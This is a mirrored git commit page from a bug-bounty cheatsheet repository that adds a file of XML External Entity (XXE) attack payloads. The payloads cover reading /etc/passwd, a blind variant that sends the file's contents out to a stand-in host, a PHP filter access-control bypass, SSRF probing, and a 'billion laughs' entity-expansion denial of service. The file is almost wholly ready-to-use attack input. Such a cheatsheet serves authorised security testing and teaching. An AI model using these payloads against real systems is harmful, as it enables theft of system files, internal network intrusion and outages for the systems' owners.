mirror of
https://github.com/EdOverflow/bugbounty-cheatsheet.git
synced 2024-11-22 02:53:06 +00:00
Creating XXE section
And adding some payloads:)
This commit is contained in:
parent
6a8394db98
commit
7201894c28
1 changed files with 59 additions and 0 deletions
59
cheatsheets/xxe.md
Normal file
59
cheatsheets/xxe.md
Normal file
|
@ -0,0 +1,59 @@
|
|||
LFI Test
|
||||
```
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo (#ANY)>
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
Blind LFI test (when first case doesn't return anything)
|
||||
```
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo (#ANY)>
|
||||
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>
|
||||
```
|
||||
|
||||
Access Control bypass (loading restricted resources - PHP example)
|
||||
```
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
|
||||
<foo><result>∾</result></foo>
|
||||
```
|
||||
|
||||
SSRF Test
|
||||
```
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo (#ANY)>
|
||||
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
XEE (XML Entity Expansion - DOS)
|
||||
```
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE lolz [
|
||||
<!ENTITY lol "lol">
|
||||
<!ELEMENT lolz (#PCDATA)>
|
||||
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
|
||||
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
|
||||
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
|
||||
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
|
||||
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
|
||||
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
|
||||
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
|
||||
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
|
||||
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
|
||||
]>
|
||||
<lolz>&lol9;</lolz>
|
||||
```
|
||||
|
||||
XEE #2 (Remote attack - through external xml inclusion)
|
||||
```
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE lolz [
|
||||
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
|
||||
<lolz><lol>3..2..1...&test<lol></lolz>
|
||||
```
|
Loading…
Reference in a new issue